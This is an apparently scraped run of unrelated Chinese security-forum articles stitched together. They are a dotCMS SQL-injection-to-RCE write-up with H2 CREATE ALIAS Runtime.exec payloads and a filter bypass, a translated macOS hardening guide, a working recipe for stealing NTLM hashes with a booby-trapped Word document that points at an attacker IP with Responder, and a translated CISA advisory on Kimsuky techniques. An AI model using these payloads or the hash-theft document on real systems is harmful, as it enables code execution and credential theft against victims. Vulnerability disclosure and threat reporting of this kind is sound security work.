`DotConnect`类的`executeStatement()`函数代码如下所示，其中代码会使用`java.sql.Statement.execute`来执行被攻击者污染的`sql`字符串。有趣的是，该函数支持堆叠查询，这意味着我们可以连续执行任意SQL命令。不幸的是，我们不能直接接收执行命令的输出结果。然而，我们可以通过盲注方式（基于时间或者基于错误的方式），或者通过操控任意数据库条目来读取数据库内容。
`com.dotmarketing.common.db.DotConnect`：
public class DotConnect {
public boolean executeStatement(String sql) throws SQLException {
boolean ret = stmt.execute(sql);
}
}
系统并没有使用CSRF令牌来保护可以触发SQL注入的源头JSP文件。因此，如果未经授权的攻击者成功诱骗内容发布者访问攻击者控制的网站，那么就能利用这个SQL注入漏洞。
## 0x02 利用H2 SQL注入漏洞
默认情况下，DotCMS会捆绑H2数据库。经过一番研究后，我们发现H2允许用户定义[函数别名](https://www.h2database.com/html/commands.html#create_alias)，因此可以执行Java代码。简单的查询语句如下所示，该语句可以创建名为`REVERSE`的函数别名，其中包含我们构造的Java代码payload。然后我们可以使用`CALL`语句调用这个别名，执行我们的Java
payload。
CREATE ALIAS REVERSE AS
$$ String reverse(String s){ return new StringBuilder(s).reverse().toString();}$$;
CALL REVERSE('Test');
为了实现远程代码执行（RCE），攻击者可以通过`java.lang.Runtime.exec()`来执行系统命令。
CREATE ALIAS EXEC AS
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');
然而这里我们还面临最后一个挑战。dotCMS中有一个URL过滤器，不允许我们在URL中使用花括号（`{}`或者经过URL编码后的`%7b%7d`）。由于`CREATE
ALIAS`指令可以使用字符串（`String`）作为源代码，因此我们可以成功绕过这个限制。这意味着我们不需要使用`$`符号，可以使用内置的SQL函数来编码我们的payload。
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');
## 0x03 时间线
日期 | 进度
---|---
2019/05/27 | 通过[[email protected]](mailto:[email protected])向dotCMS反馈漏洞细节
2019/06/06 |
厂商确认漏洞存在，准备在5.1.6中解决这个[问题](https://github.com/dotCMS/core/issues/16624)
2019/06/06 | 厂商发布5.1.6版
## 0x04 总结
在本文中，我们分析了dotCMS
5.1.5中的一个嵌套型SQL注入漏洞，该漏洞可以通过JSP文件触发。攻击者需要具备`Publisher`权限来创建未推送的bundle，然后就能注入任意SQL命令。我们发现如果dotCMS实例依赖于H2数据库，那么攻击者可以利用这个漏洞实现远程代码执行。然而，如果使用的是其他数据库，那么攻击者还是有可能实现远程代码执行，因为攻击者可以创建一个新的管理员用户，或者覆盖数据库中的序列化对象，这样在反序列化时就有可能执行代码。这里我们要感谢dotCMS安全团队，他们的沟通方式非常专业，解决问题也非常高效。
## 0x05 参考资料
* [MyBB <= 1.8.20: From Stored XSS to RCE](https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/)
* [LogicalDOC 8.2 Path Traversal Vulnerability](https://blog.ripstech.com/2019/logicaldoc-path-traversal/)
* [OpenConf 5.30 – Multi-Step Remote Command Execution](https://blog.ripstech.com/2016/openconf-multi-step-remote-command-execution/)
* [phpBB 2.0.23 – From Variable Tampering to SQL Injection](https://blog.ripstech.com/2016/phpbb2-from-variable-tampering-to-sql-injection/)
* [eFront 3.6.15: Steal your professors password](https://blog.ripstech.com/2016/efront-steal-your-professors-password/) | 社区文章 |
# 【技术分享】MacOS安全加固指南
|
##### 译文声明
本文是翻译文章，文章来源： leixyou@看雪论坛
原文地址：<http://bbs.pediy.com/showthread.php?t=213361>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
尽管MacOS默认配置依然十分自由，但是MacOS通常强制加固安全等级到接近IOS的程度（但仍然不是十分牢固）。
这里有许多的加固方法和一些包括已存在自动化工具（例如osx-config-check）的指南（例如CIS APPLE OS
X安全指标）。然而，几乎只要将投入一点点到一些建议上（例如禁止浏览器中的javascript就能提高安全–激励天真无邪的用户进入到十九世纪九十年代的怀旧的万维网）。这些建议在这里提出在尽可能将用户烦恼和所遭受的痛苦减少时，要尽力加强全面安全的态度。这里同样有一些被公开文档所忽视的建议。我尽力去关注“内建（built-in）”和“开箱即用（out-of-box）”的函数和设置，并且避免涉及反病毒、反恶意软件或者指明已存在第三方产品以及他们的实用性。
因为途径不同，我最初不考虑在我书中添加一个这样的指南。然而，随着sebastien
Volpe的问题我意思到为这本书添加一个非正式的总结是一个很好的补充，我非常感激sebas为本指南所做的一切。我同样地对Amit
Serper(@0xAmit)表达我最大的感激，他/她在出版之前审核了这篇文献并且分享了他/她一些深刻的见解！
**Patching, Patching and Patching**
如果你没有阅读过在本卷第12章深度解析MacOS缺陷，那就让我们打破这个悬念，让你知道它的结论：核心操作系统中的缺陷是不可避免的，并且你将自动受到它们的影响。尽管安全防范措施概述了纵观附录能够起到一定地帮助，但是他们会在面对单个的内核漏洞利用全部失败。
对于缺陷点来说没有简单的解决办法，并且对于所有0-day漏洞没有应对措施。然而，一旦0-day漏洞被披露，它们就会（通常）迅速地被修补好。但是补丁是没有价值的，除非补丁被应用。仅仅当补丁被应用时才能让缺陷点被移除，不再是一个风险。
图例1：缺陷点生存周期
然而，作为图例1所示，当每个系统被打上补丁或者更新时，移除掉一个缺陷点是完全能够实现的。尽管对于平常安全意识高的用户不是一个问题，但是对于也许是几百上千的机器并且尽力保持更新版本的公司环境来说会是一个重大的挑战。结果在这样的环境中发现老旧过时的操作系统一点也不罕见，在这些操作系统中也许会藏着使用exploit-db.com中脚本能够简单地利用的缺陷点。
幸运的是，MacOS中软件更新的执行是非交互式的、在命令行下的，因此能够被自动运行执行。使用软件更新工具的-i（–install）和-r（–recommended）选项不需要用户交互便下载和安装好能找得到的补丁，因此，用户没有干涉进程的权限。
注意，苹果“放弃”和停止支持MacOS老版本的做法并不罕见，即使苹果知道缺陷点存在。一个好例子就是MacOS10.10，它的最新（也是-最终）版本-10.10.5仍然有许多muymacho和tpwn漏洞利用点，这些在本书前面部分描述过。尽管有些时候会提示你安全更新，但苹果通常认为大众会更新至MacOS
10.11 (和现在的12)，因此不会操心一个提供缺陷点的一个简单的补丁。
**Logging and Auditing**
小心地监视MacOS日志和审计的子系统，它们通常会在hack成功之前提示警告：一些黑客攻击行为会在第一次尝试时尝试“get it
right”，但是仅仅通过观察失败尝试的记录和它们能侦查到的不正常的活动是不够的。
**syslog/asl**
苹果的日志系统（直到MacOS10.12）都遵照UN*X
syslog(1)加上一些苹果特殊扩展（被成为ASL，苹果系统日志）的结构。扩展在使维持传统机制的兼容性和第三方服务的同时，使更大程度上显示信息和过滤成为可能。
Syslog最强大的特点之一就是能够记录远程主机。Syslog绑定UDP514端口，并且能在/etc/syslogd.conf配置，/etc/syslogd.conf使用一个“@”作为标识物（伴随IP或者主机名），同样在DNS或者/etc/hosts中标明了一个loghost入口。远程主机必须运行syslogd且网络可用，因为在MacOS
X默认日志记录是越过本地主机和非网络套接字的。
远程日志记录提供两种不同的优势：
代码:
Centralized logging（集中记录）: 对于单台服务器大大地简化了日志监测，能够自动加载第三方工具或者复合UN*X标准的公共工具grep(1),awk(1),perl(1)和其他过滤器。
Write-only access: 如果登录主机在网络上不是可访问的（例如没有SSH,远程登录，或者或者其他的工具），记录会被添加进日志，而且日志不可读、不可移动。这大大地增加了安全性，因为攻击者不能该得到日志收集任何配置和敏感信息。此外这使得日志更可信，因为作为攻击者不能抹去和修改任何之前记入的记录。注意，一个攻击者仍然能够用伪造记录来淹没日志，但是不能撤销先前任何记录。
**log (MacOS 12+)**
MacOS 12
反对syslog/asl支持心得os_log子系统。这是一个更强大的基础设施，它丢弃了传统的基于记录的文本文件，支持通常地记录在内存日志（in-memory
logging）和数据库。显然，如果苹果决定在os_log上实现syslog(3)和asl(3) API，可以预见经过一段时间， ASL将被整个地遗弃，
os_log子系统不支持网络日志记录（在写入的时候）。然而，这是一个相当简单的问题，运行log(1)客户端命令和用管道输送它的输出给nc(1)：
代码:
log –stream | nc remote.log.host ###
然而，这仅仅是重定向输出基础方法，还有一个更加弹性的解决方法-认为应该接受网络故障事件和可量测性。
**Enabling Auditing**
MacOS的最强大的安全特征就是不可抵赖的审计性。尽管不具有前瞻性，但是跟踪安全敏感操作和实时的事件还是很有效的。不像上述所提及的日志记录子系统，它请求应用程序所生成的志愿记录，审计记录被操作系统自身所生成。
尽管记录直接地从内核空间到审计日志，但是审计的一个主要缺点是它的本地性质。如果一个系统被破坏，它的审计日志就不能认为具有可信价值。幸运地是，一点点UN*X
shell脚本创造性就能重定向审计记录到一个服务器。与nc(1)欺骗能够应用在log(1)上面一样也能应用在/dev/duditpipe上。事实上，审计管道的日志也许被praudit(1)管理，使其成为一个二进制流，而不是第一次转变给人类可读的格式。在这里，一个更具有弹性的包装器（在shell脚本或者其他的里面）被推荐。
审计策略的精确规范在推荐的范围之外，因为它也许很依赖于组织策略。然而，第一条规则，要记住审计与性能是成反比例的。建议最低限度记录lo（login/logout(登录/注销)）,aa(authentication/authorization（认证/授权）),ex(execution（执行）)和pc(process
lifetime（进程存活时间）)。因为在高安全性设备上的审计是很严苛的，要考虑到使用ahlt标志，它能够在审计失败时中止系统。
**User-level Security**
**Login banner**
除了使用常用的/etc/motd外，图形登录界面能被设置显示成一个通知。当然这不能决定阻止任何黑客，但是在使用策略上确实起到了一个警告作用，并且在某些位置能够被合法的请求。
**Password Hints**
在任何的密码提示出现前，有规则的调整密码尝试失败次数是合理的。这能够用来禁用整个的密码提示。
**Login/Logout hooks**
MacOS一个小知识但是却非常有用就是Login/Logout hooks。这些路径的二进制程序可以作为登录和注销进程的一部分运行。
可以使用登录钩子运行一个程序，例如监视用户登录和记录或者实时的警告管理员。同样的，一个注销钩子能够用来确保删除临时文件（例如，使用srm清除回收站中所有文件）。
注意，登录/注销钩子是 有潜力持续扫描隐藏恶意软件位置，并且应该定期检查非法修改（最好在每一个用户会话中）。
**Password Policies**
企业的MacOS系统由于允许集中认证服务，会在许多情景中用控制器自动同步他们的密码策略。Mac OS X Server
App(或者更早的系统，工作组也能配置这样的系统)。
从命令行模式中，powerlicy(8)工具里可以找到设置密码策略的所有方面。
这个工具（在第一章中被提到的）恰好在它的手册中有说明。实际建议策略将会是不同的。
**Screen Saver locking（屏幕保护程序锁）**
大多数用户离开他们的电脑都没来得及锁屏，并且当过路人下意识的点击一下窗口就能偷取信息和运行命令时，无人值守的会话状态意味着安全风险。因此建议设置屏幕保护选项-通过系统首选项或者defaults(1)命令：
**Disable su**
su(1)是没有安全敏感，但比sudo(8) 起更重要作用，因此应该被禁止。禁用它就像一个chmod
u-s操作一样简单，但是更久远的建议是在pam_deny.so添加一行（如第一章中的“修改PAM配置文件”）。
**Harden sudo**
虽然无参的sudo(8)比基本的su(1)要更安全,但是sudo的默认配置能够且应该被加固
因此建议以下步骤：
在共同环境中，只有指定的命令能够被sudo使用。这些命令应该包括比shutdown(8)和reboot(8)
更加安全的命令。在任何时候下，绝不应该所有的shell都能被运行，因为这有效的绕过了sudo命令作为用户能简单地sudo bash或相似命令的限制条件。
Sudo有一些已知功能在tty_tickets，它绑定了超级用户许可终端(tty)在那些最终已认证sudo命令上。如果没有这个功能，一旦他们之一被认证，两个不同用户会话终端将自动获得超级用户权限。
其他有用的特性是log_input和log_output。这些应该被全局设置或者被设置在一个单命令模式基础上（使用
[NO]LOG_[INPUT/OUTPUT]）。Sudo命令甚至能够应用到发送电子邮件的成功或失败上。这些命令和其他命令大量文献能够在sudoers(5)找到。
**
**
**Periodically check start up and login items**
搜寻驻留的恶意软件，因此定期检查用户启动项和登录选项是一个好主意。确切的时间也许不同，但是可以一周一次，或者尽力用钩子相关联登录项。任何新发现的项应该被考虑到审计价值。这包括检查登录/注销钩子甚至是它们自己的工作，因为恶意软件也许会寻求驻留，通过cron或者AT（计划的安排、任务的管理、工作事务）调度它们自身。
**Use MDM (or parental controls) to manage user sessions and capabilities**
如第六章所描述，MacOS有一些软件限制机制，通过mcxlr二进制程序实施并且与它的内核扩展相关联。软件限制十分强大，它仅仅允许被选上白名单的app安装运行或者甚至还原工作站到“kiosk”模式。
精确限制是留给管理员策略的，但是这个机制是被高度推荐的。
**Data Protection**
Periodically obtain cryptographic snapshots of important files
重要系统文件，例如/etc/hosts（绕过DNS），/etc/passwd和其他经常被恶意软件或带有各种各样目的的黑客修改。仅仅依靠文件大小和时间戳是不够的，因为调整文件大小和时间戳十分简单。
加密哈希值功能例如MD5和SHA-1不能够简单地碰撞。因此对重要系统配置文件运行一个周期检查是一个好主意。当然对于文件认为是不可变的（例如，/bin,/usr/bin中的各种各样的二进制等等）。重要文件的确切名单有所不同（因为会需要更新操作系统补丁或升级）。重要文件任何可探测的改变应该立即提示一个警报。
**Periodically backup user data**
用户数据很容易丢失—被意外删除、有针对性破坏或者勒索软件勒索。定期备份数据能够减缓潜在损失。备份脚本能够手动配置，或者使用第三方管理工具。在这些配置手册中，使用find
/ -mtime … | xargs tar zcvf能够运行得很好。
当一个单个、可信的备份服务器能与网络上的机器无密码、使用公钥的SSH会话通信，通过网络备份是最好的。
**Cloud Saving**
MacOS与iCoud结合越来越紧密，这对普通用户通常非常方便，但是在一些情境中会成为一个潜在的数据泄漏点。iCloud存储需要被禁止，用一下命令很容易做到：
**Enable hibernation**
Pmset手册描述了hibernatemode不同选项尤其是模式25，它仅仅可以通过命令行可设置utility.hibernatemode=25是通过pmset唯一可以设置的。系统会存储一份内存映像到持续性存储介质上（磁盘），并且移除内存电源。系统会从磁盘中还原映像。如果你想“hiberna-tion”-慢休眠，慢唤醒和更好的电池寿命，你应该使用这个设置。
**Secure Deletion**
一个HFS（或APFS）中的文件实际上不会被删除-它们的文件系统节点是无链接的，但是数据块直到在低级空间条件下（a low disk space
condition，这里实在不清楚是什么条件）才会被清除或回收。强迫安全删除是可能的-通过使用srm(1)或rm
–p复写数据块内容。注意到这个方法不推荐用户在Flash or Fusion Drives中使用，因为大大地增加了P/E循环次数和缩短了存储介质寿命。
**Physical Security**
设置一个固件密码阻止任何启动配置改变，例如尝试从另一个引导设备引导。这大大地增加了你的Mac的安全性。在Apple文档知识库文章HT204455中有设置固件密码的过程，但必须通过recovery文件系统设置。
**Find my Mac**
许多人熟悉设置”find my i-Device”这样的特色，并且这也同样适用于Mac。尽管经常对于固定位置的Mac
Pro和iMac无用，但是这对于macbook来说是一个福利。不仅仅自动设置固件密码，如果被偷或丢失，它也能够远程锁定和清除Mac。
**FileVault 2**
应该启用FileVault 2（ 全磁盘加密）。这个重要特性在Mac
OS10.7以上版本可以获得。这个功能可靠、易懂并且高效。尽管当在系统上运行时没有明显效果，但是它使得在设备被破坏或重启时非法授权的个人无法访问。
**Remove key during standby**
当一台Mac进入到待机状态时，FileVault2密钥仍然在物理内存中明文存储。这使得有些基于硬件攻击类型能通过捕捉和转储RAM映像确定密钥。设置pmset
destroyfvkeyonstandby 1可以从内存中删除密钥，但是当电脑从待机状态脱离时，就需要用户重新登录了。
注意这个设置已知会干涉电脑正常的待机和power nap。所以这两种设置都应该被禁用（使用pmset –a [standby/powernap]）0。
**
**
**【未完】**
完整版本请见开头PDF附件。
译者rodster（ID：leixyou）、everettjf
完整PDF版本：[001.MacOS and iOS Internals, Volume
IIIAppendixA全.pdf](http://pan.baidu.com/s/1geQyELd) 密码: vrpy
原文地址：<http://newosxbook.com/files/moxii3/AppendixA.pdf>
原文作者：Jonathan Levin | 社区文章 |
作者：[Evi1cg](https://evi1cg.me/archives/Get_NTLM_Hashes.html "Evi1cg")
之前有人总结了很多种窃取NTLM hash的方法，[原文](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ "原文")，[译文](https://paper.seebug.org/474/
"译文")。里面写的方法已经很多了，最近又学到了一个新的方法，所以在这里进行一下分享，也算是一个补充。
历史上，Microsoft Word被用作HTML编辑器。这意味着它可以支持HTML元素，例如框架集。因此，可以将Microsoft
Word文档与UNC路径链接起来，并将其与响应程序结合，以便从外部捕获NTLM哈希值。带有docx扩展名的Word文档实际上是一个包含各种XML文档的zip文件。这些XML文件正在控制主题，字体，文档的设置和Web设置。
所以我们可以新建一个任意文档，并用压缩包来打开他。
在word 目录下有一个webSettings.xml。我们对这个文件进行修改，添加以下代码则会创建与另外一个文件的链接。
<w:frameset>
<w:framesetSplitbar>
<w:w w:val="60"/>
<w:color w:val="auto"/>
<w:noBorder/>
</w:framesetSplitbar>
<w:frameset>
<w:frame>
<w:name w:val="3"/>
<w:sourceFileName r:id="rId1"/>
<w:linkedToFile/>
</w:frame>
</w:frameset>
</w:frameset>
最终修改后的webSettings.xml如下：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14">
<w:frameset>
<w:framesetSplitbar>
<w:w w:val="60"/>
<w:color w:val="auto"/>
<w:noBorder/>
</w:framesetSplitbar>
<w:frameset>
<w:frame>
<w:name w:val="3"/>
<w:sourceFileName r:id="rId1"/>
<w:linkedToFile/>
</w:frame>
</w:frameset>
</w:frameset>
<w:optimizeForBrowser/><w:allowPNG/></w:webSettings>
现在我们把新的webSettings.xml替换原来的webSettings.xml，之后在word目录下的`_rels`目录创建一个新的文件
webSettings.xml.rels，文件内容如下：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="\\172.16.103.130\Updates.docx" TargetMode="External"/>
</Relationships>
在这里包含了UNC路径。指向我们的Responder。
之后把文档重新命名为docx。开启Responder
python Responder.py -I eth0 -wrf
打开word，则可获取到hash
当然，使用DDE的方式以及CVE-2017-0199等其他的方式都是可以的。
* * * | 社区文章 |
**作者：知道创宇404实验室翻译组**
**原文链接：<https://us-cert.cisa.gov/ncas/alerts/aa20-301a>**
## 一、摘要
网络安全报告书由网络安全基础设施安全局（CISA）、联邦调查局（FBI）和美国网络司令部国家宣教部队（CNMF）联合撰写，主要描述了针对朝鲜高级黑客组织[Kimsuky](https://attack.mitre.org/groups/G0094/)网络攻击所使用的战术、技术和程序（TTP）。美国政府将该网络攻击称为HIDDEN
COBRA，有关HIDDEN COBRA的更多信息，请访问[https://www.us-cert.cisa.gov/northkorea](https://us-cert.cisa.gov/northkorea)。
本文描述了截止2020年7月已知的Kimsuky黑客网络攻击事件，旨在保护相关组织免受该黑客影响。 [单击此处](https://us-cert.cisa.gov/sites/default/files/publications/TLP-WHITE_AA20-301A_North_Korean_APT_Focus_Kimsuky.pdf)以获取PDF版本。
## 二、主要发现
* Kimsuky黑客组织可能自2012年开始运营。
* Kimsuky很可能是朝鲜政府支持的全球情报搜集任务。
* Kimsuky运用常见的策略窃取数据。[ [1](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia)]，[ [2](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829) ]
* Kimsuky最可能使用网络钓鱼获取初始访问权限。[ [3](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829) ]
* Kimsuky的情报收集针对韩国、日本和美国。
* Kimsuky重点关注朝鲜半岛、核政策、外交政策及国家安全问题的相关信息。
* Kimsuky特别关注对象： 各领域专家、智囊团、韩国政府机关；[[4](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia) ]，[ [5](https://attack.mitre.org/groups/G0094/) ]，[[6](https://www.securityweek.com/north-korea-suspected-cyber-espionage-attacks-against-south-korean-entities) ]，[[7](https://attack.mitre.org/groups/G0094/) ]，[ [8](https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf) ]
* CISA、FBI和CNMF建议目标群体应加强防御意识。
## 三、相关技术
#### 1、初始访问
Kimsuky通过网络钓鱼获取 _初始访问_ [ [TA0001](https://attack.mitre.org/tactics/TA0001/)
]权限。[[9](https://blog.malwarebytes.com/threat-analysis/2020/04/apts-and-covid-19-how-advanced-persistent-threats-use-the-coronavirus-as-a-lure/)],[[10](https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html)],[[11](https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf)]
网络钓鱼（电子邮件被嵌入恶意附件）方法是Kimsuky最常用的策略（网络钓鱼附件[
[T1566.001](https://attack.mitre.org/versions/v7/techniques/T1566/001/)
]）[[12](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia) ]、[ [13](https://attack.mitre.org/groups/G0094/) ]。
* 该黑客组织已使用从目标群体之外的受害者网络窃取的托管凭据托管恶意脚本。在受害域上创建子域来冒充像Google、Yahoo的合法站点。[14]
* Kimsuky还向受害者发送了旨在建立事后信任的良性电子邮件。
* 冒充韩国记者，发送了几封面试主题的电子邮件。电子邮件主题为“首尔[Rededed TV Show]的Skype采访请求”，邀请收件人上节目充当嘉宾。黑客组织实际上是在邀请受害者接受有关朝鲜半岛和无核化问题的采访。
* 收件人同意接受采访后，Kimsuky随后发送带有BabyShark（有关BabyShark的信息，请参见“执行”部分）恶意文档的电子邮件。面试日期临近时，发送了临时取消面试的电子邮件。
* Kimsuky善于利用例如COVID-19、朝鲜核计划或媒体采访的时事。[[15](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829) ]，[[16](https://blog.malwarebytes.com/threat-analysis/2020/04/apts-and-covid-19-how-advanced-persistent-threats-use-the-coronavirus-as-a-lure/) ]，[[17](https://www.cyberscoop.com/north-korea-accelerate-commercial-espionage-meet-kims-economic-deadline/) ]
Kimsukyh还通过发送以安全警报为主题的网络钓鱼电子邮件获得初始访问权限，利用torrent共享站点分发恶意软件，并指示受害者安装恶意浏览器扩展程序（
_网络钓鱼链接
[[T1566.002](https://attack.mitre.org/versions/v7/techniques/T1566/002/)
]，_Drive-by Compromise
[[T1189](https://attack.mitre.org/versions/v7/techniques/T1189/)], _Man-in-the-Browser_
[[T1185](https://attack.mitre.org/versions/v7/techniques/T1185/)]).[
[18](https://attack.mitre.org/groups/G0094/) ]
#### 2、执行
获得初始访问权限后，Kimsuky使用[BabyShark](https://attack.mitre.org/software/S0414/)恶意软件和PowerShell或Windows
Command Shell _执行_ 指令[
[TA0002](https://attack.mitre.org/versions/v7/tactics/TA0002/) ]。
* BabyShark是基于Visual Basic脚本（VBS）的恶意软件。
* 受感染主机系统使用本机Microsoft Windows实用程序`mshta.exe`从远程系统下载并执行HTML应用程序（HTA）文件（ _签名的二进制代理执行：Mshta_ [ [T1218.005](https://attack.mitre.org/versions/v7/techniques/T1218/005/) ]）。
* HTA文件成功下载后，解码并执行BabyShark VBS文件。
* 该脚本通过创建在启动时运行的注册表项（ _引导或登录自动启动执行：注册表运行键/启动文件夹_ [ [T1547.001](https://attack.mitre.org/versions/v7/techniques/T1547/001/) ]）维护其 _持久性_ [ [TA0003](https://attack.mitre.org/versions/v7/tactics/TA0003/) ] 。
* 收集系统信息（ _系统信息_ [ [T1082](https://attack.mitre.org/versions/v7/techniques/T1082) ]），将其发送到操作员的命令控制（C2）服务器，等待其他命令。[ [19](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829) ]，[ [20](https://attack.mitre.org/groups/G0094/) ]，[ [21](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/) ]，[ [22](https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/) ]
* 报告显示BabyShark是通过包含链接或附件的电子邮件传递的（更多信息请参见“初始访问”部分）（ _网络钓鱼链接_ [ [T1566.002](https://attack.mitre.org/versions/v7/techniques/T1566/002/) ]， _网络钓鱼附件_ [ [T1566.001](https://attack.mitre.org/versions/v7/techniques/T1566/001) ]）。黑客主要针对美国智囊团和全球加密货币行业。[ [23](https://cyware.com/news/babyshark-malware-continues-to-target-nuclear-and-cryptocurrency-industries-40e04829) ]
* Kimsuky黑客使用PowerShell运行网络上的可执行文件，而无需通过使用目标内存来接触计算机物理硬盘（ _命令和脚本解释器：PowerShell_ [ [T1059.001](https://attack.mitre.org/versions/v7/techniques/T1059/001/) ]）。无需调用`powershell.exe`HTA文件或`mshta.exe`[ [24](https://attack.mitre.org/groups/G0094/) ]，[ [25](https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/) ]，[ [26](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/) ]，[ [27](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/) ]即可执行PowerShell命令/脚本。
#### 3、持续性攻击
Kimsuky黑客通过使用恶意浏览器扩展、修改进程、操纵执行；使用远程桌面协议（RDP）以及更改应用程序的默认文件关联以建立 _Persistence_ [
[TA0003](https://attack.mitre.org/versions/v7/tactics/TA0003/)
]`autostart`，进而获取登录名和密码。
* 2018年，Kimsuky黑客使用了扩展程序以窃取受害者浏览器中的密码和cookie（ _Man-in-the-Browser_ [ [T1185](https://attack.mitre.org/versions/v7/techniques/T1185/) ]）。[ [28](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia) ]
* Kimsuky黑客可能会安装使用实用程序与服务交互或直接修改注册表项（ _启动或登录自动启动执行_ [ [T1547](https://attack.mitre.org/versions/v7/techniques/T1547) ]）来在 _启动时执行_ 的新的服务。服务器名称可以通过相关操作系统功能的名称来伪装，也可以伪装成良性软件，还可以利用管理员特权创建并执行，因此黑客可以使用特权升级至系统，通过服务执行直接启动服务。[ [29](https://attack.mitre.org/groups/G0094/) ]，[ [30](https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/) ]
* 2018年5月STOLEN PENCIL操作期间，Kimsuky黑客使用了GREASE恶意软件。GREASE是可以添加Windows管理员帐户并启用RDP，同时避免使用防火墙规则（ _远程服务：远程桌面协议_ [ [T1021.001](https://attack.mitre.org/versions/v7/techniques/T1021/001) ]）的工具。[ [31](https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia) ]
* Kimsuky黑客使用文档窃取程序模块，更改与`.hwp`注册表中的文字处理器（HWP）文档（文件）相关联的默认程序（ _事件触发执行：更改默认文件关联_ [ [T1546.001](https://attack.mitre.org/versions/v7/techniques/T1546/001) ]）。操纵默认注册表设置来打开恶意程序，而非合法的HWP程序（HWP是朝鲜语文字处理器）。在合法的HWP程序最终打开文档之前，该恶意软件将读取并通过电子邮件发送HWP文档中的内容。[ [32](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ] Kimsuky还通过将文件格式设置为`.docx`文件，`.hwp`会相应地调整其宏。[33]
* Kimsuky黑客通过上传基于actor的版本和超文本处理器（PHP）的Web Shell来维护对受侵害域的访问；APT黑客可以在Web Shell上上载、下载和删除受感染域上的文件和目录（ _服务器软件组件：Web Shell_ [ [T1505.003](https://attack.mitre.org/versions/v7/techniques/T505/003) ]）。
#### 4、权限升级
Kimsuky黑客使用的权限升级方法[
[TA0004](https://attack.mitre.org/versions/v7/tactics/TA0004/)
]众所周知。这些方法包括：将脚本放入Startup文件夹、创建和运行新服务、更改默认文件关联以及注入恶意代码`explorer.exe`。
* Kimsuky黑客使用Win7Elevate（来自Metasploit框架的漏洞）避免用户帐户控制，注入恶意代码explorer.exe`（*Process Injection* [ [T1055](https://attack.mitre.org/versions/v7/techniques/T1055/) ]）。这种恶意代码会从资源中解密数据库（包括击键记录和远程控制访问工具以及远程控制下载和执行工具的集合），无关受害者的操作系统。将解密文件保存到`临时文件夹中的编码名称（例如dfe8b437dd7c417a6d.tmp`）的磁盘上，并将该文件作为库加载，以确保重启后工具的再次使用。[ [35](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ]
* 在注入恶意代码前，恶意软件会设置必要权限（请参见图1），将路径写入其恶意动态链接库中（DLL），并通过创建远程线程`explorer.exe`（ _Process Injection_ [ [T1055](https://attack.mitre.org/versions/v7/techniques/T1055/) ]）确保远程进程的加载。[ [36](https://yoroi.company/research/the-north-korean-kimsuky-apt-keeps-threatening-south-korea-evolving-its-ttps/) ]
_图1：注入恶意代码前设置的权限_ [[37](https://yoroi.company/research/the-north-korean-kimsuky-apt-keeps-threatening-south-korea-evolving-its-ttps/)]
#### 5、防御手段
Kimsuky黑客使用禁用安全工具、删除文件和Metasploit.[[38](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)],[[39](https://attack.mitre.org/groups/G0094/)]在内的防御逃避手段[TA0005](https://attack.mitre.org/versions/v7/tactics/TA0005/)
。
* Kimsuky黑客的恶意DLL在启动时运行至Windows防火墙注册表项为关闭状态（见图2），即禁用Windows系统防火墙并关闭其安全服务，从而阻止该服务器向用户发出有关禁用防火墙的警报（见图2）（ _Impair防御：禁用或修改系统防火墙_ [ [T1562.004](https://attack.mitre.org/versions/v7/techniques/T1562/004/) ]).[ [40](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/) ].
_图2：注册表中禁用的防火墙值_ [[41](https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/)]
